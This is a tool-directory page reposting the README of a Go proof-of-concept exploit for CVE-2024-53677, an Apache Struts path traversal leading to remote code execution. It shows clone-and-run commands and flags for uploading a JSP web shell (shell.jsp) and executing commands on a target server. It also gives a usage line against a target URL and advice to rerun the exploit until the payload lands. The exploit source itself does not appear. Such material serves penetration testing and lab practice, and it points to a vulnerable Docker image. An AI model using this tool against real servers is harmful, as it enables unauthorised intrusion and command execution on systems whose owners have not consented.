Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-53677-POC — a proof of concept of CVE-2024-53677 | Kitploit
Tools/GitHubGitHub/cythonic1/cve-2024-53677-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcythonic1/cve-2024-53677-poc

CVE-2024-53677-POC

a proof of concept of CVE-2024-53677

View Repository
111 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-53677

A kind old vulnerability that effect Apache Struts leading to LFI, and remote exection.

more info about the vulnerability you can refer to this great blog.

Apache Struts path traversal → RCE (CVE-2024-53677)

POC usage

I have send much time make this as custamizable as possiable because when i first encounter this CVE did not find a good source that implement it correctly. Most of the flags have a default values so do not be discourage with all of these flags.

root@kitploit:~
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd  CVE-2024-53677-POC
go run . -h
root@kitploit:~

  -command string
        command to execute on the server default: whoami
  -end-point string
        post endpoint default to: upload.action
  -file-location string
        where to save the file into the server default: what test function return
  -lfi-param string
        Parameter name for LFI testing default: top.UploadFileName
  -payload-file string
        Path to the payload file default: ./shell.jsp
  -payload-file-name string
        name of the payload it self default: shell.jsp
  -payload-param string
        Parameter name for payload injection default: Upload
  -test-file-name string
        name of the testfile it self default: testfile.txt
  -testing-file string
        File used for testing default: ./testfile.txt
  -url string
        Target base URL (format http://strutted.htb/) do not forgot the [/] at the end

All of these commands has defaults values. I also implement a testing function to check where the file should be put and it also a user configurable options.

Basic usage

root@kitploit:~
go run .  -url http://127.0.0.1:8080/ -end-point upload.action

NOTES.

Few things to note.

  1. The default payload is GIF format and the content type is gif if it need to be change this is the only option where you have to change the code.
  2. The test function may produce wrong assumption so do not relay on it 100%.
  3. yo may need to run the exploit more than once at least twice because i notice when it first time uploaded the payload it did not find it on the very next request So keep that in mind.

Contributions.

Feel free to modifie or add on the exploit ♥️.

Resources.

Vulnerable docker image more info about the exploit

Download Tool